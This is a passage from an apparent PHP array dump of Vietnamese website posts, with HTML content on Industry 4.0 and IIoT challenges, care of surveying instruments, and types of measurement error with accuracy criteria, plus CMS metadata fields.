style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống không gian mạng thực-ảo phải có khả năng đưa ra quyết định đơn giản mọt cách nhanh chóng, tự động, không cần con người can thiệp sử dụng phân tích dữ liệu. Mục tiêu cuối cùng của công nghiệp 4.0 là tự động hóa quy trình sản xuất và tối đa hóa quy mô. Sử dụng quy trình tự động hóa này, công việc có thể được thực hiện bằng máy móc, tăng phạm vi tối ưu hóa thời gian và phân bổ nguồn lực.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thử thách liên quan đến việc triển khai công nghiệp 4.0?</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0 2(1).jpg" style="width: 276px; height: 182px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">Triển khai công nghiệp 4.0 cũng có thể sẽ gặp phải các khó khăn sau:</span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Vấn đề bảo mật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Toàn bộ dữ liệu đều có sẵn , truyền qua Internet đến thiết bị từ xa. Điều này cho thấy dữ liệu rất có nguy cơ bị xâm phạm bảo mật, ăn cắp và thao tác.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Kiến thức sản xuất độc quyền, nếu bị xâm nhập, sẽ có thể dẫn đến thiệt hại lớn đến doanh thu của công ty.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Tin tưởng và ổn định</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu thông tin liên lạc nhận được qua cảm biến IoT không được sắp xếp hoặc không đúng lúc sẽ được xem là không đáng tin cậy. Rõ rang, bạn không thể tự động hóa một nhà máy hoạt động dựa trên dữ liệu không đáng tin cậy. Việc duy trì sự toàn vẹn quy trình sản xuất trong khi giảm thiểu sự can thiệp của con người rất phức tạp</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thiết lập kết nối</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Chúng ta gần như không thể đảm bảo kết nối internet 100%. Kể cả khi mạng không có khả năng bị hỏng bất ngờ, bạn vẫn sẽ cần tính đến việc bảo trì máy chủ. Rất khó để đảm bảo không mất dữ liệu ngay cả khi kết nối cực hạn hoặc bùng phát đột ngột.</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Phối hợp hệ thống cũ với IIoT</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống cũ không được thiết kế để tuân thủ các yêu cầu của công nghệ cảm biến. Nhưng hiện đại hóa toàn bộ cơ sở hạ tầng là không khả khi đối với phần lớn các nhà sản xuất. Vì vậy, đòi hỏi phải phối hợp IIoT với hệ thống máy móc cũ để đảm bảo ROI tốt nhất với sự đầu tư của nhà sản xuất.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ngoài nhứng thách thức trên, nhà sản xuất cũng phải đối mặt với các vấn đề từ nhà đầu tư, đội ngũ kỹ thuật nội bộ. Các nhà đầu tư khá miễn cưỡng với các cuộc cách mạng quy mô lớn. Đồng thời, năng lực IT có sẵn không thường xuyên được cập nhật để xử lý những thách thức này. Dữ liệu nghiên cứu thị trường và xu hướng chuyển đổi kỹ thuật số đã mở ra cái nhìn mới cho nhà đầu tư. Hạn chế về năng lực kỹ thuật vẫn sẽ là mối quan tâm chung khi triển khai bất kỳ IIoT.</span></span></p> ', 'images' => '201905200812307bda1a1c4b780f467d4ece9a47eb5c1b.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-20', 'modified' => '2025-08-10', 'status' => '1', 'view' => '62998', 'slug' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '941', 'rght' => '942', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 2 => array( 'Post' => array( 'id' => '537', 'name' => 'Cách bảo quản thiết bị trắc địa đúng cách', 'code' => null, 'alias' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Bảo quản thiết bị trắc địa đúng cách rất quan trọng đối với các kĩ sư đo đạc. Nhất là khi giá trị của các thiết bị như máy toàn đạc điện tử, máy thủy bình,… không hề nhỏ. Bảo quản thiết bị trắc địa tốt sẽ giúp tiết kiệm nhân công, thời gian, chi phí cho các công trình xây dựng. </span></span>', 'content' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>Thiết bị trắc địa</strong> cần được bảo quản cẩn thận để phát huy tối đa tính năng sử dụng của nó cũng như giảm chi phí đầu tư. Trước khi sử dụng thiết bị, hãy dành một ít thời gian để đọc và làm theo hướng dẫn bảo trì sau:<br /> - Không để thiết bị dưới ánh mặt trời trực tiếp hoặc trong xe kín trong thời gian dài. Nhiệt độ quá nóng có thể làm giảm hiệu quả của nó.<br /> - Nếu thiết bị đã được sử dụng trong điều kiện ẩm ướt, ngay lập tức lau sạch bất kỳ độ ẩm và làm khô thiết bị hoàn toàn trước khi cho lại thiết bị vào hộp đựng.<br /> - Thiết bị điện tử nhạy cảm đã được bảo vệ tốt trong hộp đựng chống lại bụi và độ ẩm.<br /> Tuy nhiên, nếu bụi hoặc hơi ẩm bám vào dụng cụ, có thể gây ra hư hại nghiêm trọng. Vì vậy, hãy chắc chắn thiết bị của bạn được bỏ vào hộp ngay sau khi sử dụng và vệ sinh.<br /> - Những thay đổi đột ngột về nhiệt độ có thể làm mờ ống kính và giảm đáng kể mức đo được khoảng cách hoặc gây ra lỗi hệ thống điện. Nếu có sự thay đổi đột ngột về nhiệt độ, để dụng cụ trong hộp đựng kín ở vị trí ấm cho đến khi nhiệt độ của thiết bị trở về nhiệt độ phòng.<br /> - Không bảo quản thiết bị trắc địa ở những nơi nóng hoặc ẩm ướt. Đặc biệt, bạn phải lưu trữ bộ pin ở nơi khô ráo ở nhiệt độ dưới 30 ° C (86 ° F). Nhiệt độ cao hoặc độ ẩm quá mức có thể khiến nấm mốc phát triển trên các ống kính. Nó cũng có thể làm cho thị kính điện tử bị mờ đi và do đó dẫn đến việc khó bắt mục tiêu.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/DTM 322(1).jpg" style="width: 400px; height: 391px;" /><br /> - Khi bảo quản thiết bị ở những nơi có nhiệt độ cực thấp, hãy để hộp đựng mở.<br /> - Khi điều chỉnh các ốc cân bằng máy, hãy đặt vị trí càng gần vị trí trung tâm của ốc cân bằng máy.<br /> - Không sử dụng dung môi hữu cơ (chẳng hạn như ether hoặc chất pha loãng sơn) để làm sạch các bộ phận phi kim loại của thiết bị (chẳng hạn như bàn phím hoặc các bề mặt được sơn của máy). Làm như vậy có thể dẫn đến đổi màu bề mặt, hoặc lột các ký tự logo. Làm sạch những bộ phận này chỉ bằng một bông gòn, vải hoặc khăn giấy, thấm nhẹ bằng nước hoặc chất tẩy nhẹ.<br /> - Để vệ sinh ống kính quang học, hãy lau nhẹ bằng một miếng vải mềm hoặc bông gòn được thấm cồn.<br /> - Trước khi gắn pin, hãy chắc chắn rằng bề mặt tiếp xúc trên bề mặt pin và dụng cụ đã được lau chùi sạch sẽ.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/HOP MAY_02 B40A(2).jpg" /><br /> - Hộp đựng được thiết kế kín nước, nhưng bạn không nên để nó tiếp xúc với mưa lớn.<br /> <br /> Bảo quản thiết bị trắc địa là một trong những khâu quan trọng giúp việc đo đạc được chính xác. Nó giúp hỗ trợ giảm chi phí đầu tư cũng như chi phí sửa chữa máy. Hy vọng những thông tin trên sẽ hữu ích cho bạn.<br /> </span></span>', 'images' => '201905030810258d806bbec8ab9ba5235e121c05e3154a.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-03', 'modified' => '2025-08-10', 'status' => '1', 'view' => '74548', 'slug' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '939', 'rght' => '940', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 3 => array( 'Post' => array( 'id' => '536', 'name' => 'Các loại sai số, tiêu chí đánh giá độ chính xác kết quả đo', 'code' => null, 'alias' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1. Các loại sai số trong đo đạc.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số sai lầm.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số sai lầm là do người đo thiếu cẩn thận trong khi đo, hoặc kỹ thuật đo không bảo đảm. Sai số này thường có giá trị tương đối lớn.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Khắc phục: đổi người đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số hệ thống:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số do độ chính xác của máy và không bảo đảm hoặc do thói quen, thị lực của người đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số hệ thống thường có dấu và giá trị không đổi.</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Loại trừ sai số hệ thống:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Nếu do máy thì chúng ta có thể kiểm nghiệm, xác định giá trị sai số của máy rồi lấy kết quả đo trừ đi giá trị sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- nếu do người đo thì chúng ta có thể kiểm nghiện sai số của người bằng cách so sánh kết quả của người đo với một vài người đo khác để biết được mức độ sai khác nhau về kết quả, sau đó lấy kết quả đo trừ đi giá trị sai khác đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số ngẫu nhiên.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số xuất hiện trong kết quả đo một cách ngẫu nhiên mà không thể xác định được quy luật cũng như giá trị và nguyên nhân của sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số ngẫu nhiên không thể loại trừ được, tuy nhiên qua nghiên cứu cho thấy sai số ngẫu nhiên có những tính chất sau đây:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> - Các giá trị tuyệt đối của sai số ngẫu nhiên không vượt quá một giá trị nhất định nào đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Các giá trị sai số ngẫu nhiên càng nhỏ thì có khả năng xuất hiện càng nhiều, còn giá trị càng lớn thì xuất hiện càng ít.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Sai số ngẫu nhiên mang giá trị dương (+) và sai số ngẫu nhiên mang giá trị âm (-) có xác suất xuất hiện bằng nhau khi số lần đo tiến tới vô cùng.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Tổng đại số của các giá trị sai số ngẫu nhiên của n lần đo cho một đại lượng là bằng không khi:<a href="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">2. Các tiêu chí đánh giá độ chính xác kết quả đo.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số trung bình cộng (kí hiệu là s): được tính theo công thức sau:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: s- sai số trung bình cộng</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số trung phương (kí hiệu là m): được tính theo công thức:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: m – sai số trung phương</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số xác suất (kí hiệu là p)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong dãy kết quả đo nếu sắp xếp các sai số theo giá trị tuyệt đối từ bé đến lớn thì sai số xác suất p có giá trị của sai số đứng giữa về thứ tự sắp xếp.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Khi nghiên cứu về sai số trung bình cộng (s), sai số trung phương (m) và sai số xác suất (p) thấy chúng có mối quan hệ: p/s/m - tương ứng là 0,67/0,8/1,0</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu số lần đo càng nhiều thì tỷ số này càng đúng, dựa vào tỷ số này người tư có thể tính nhanh các giá trị của sai số trung bình cộng (s), sai số trung phương (m) thông qua giá trị của sai số xác suất (p)</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">d) Sai số giới hạn (kí hiệu là f)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nghiên cứu thống kê cho thấy:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 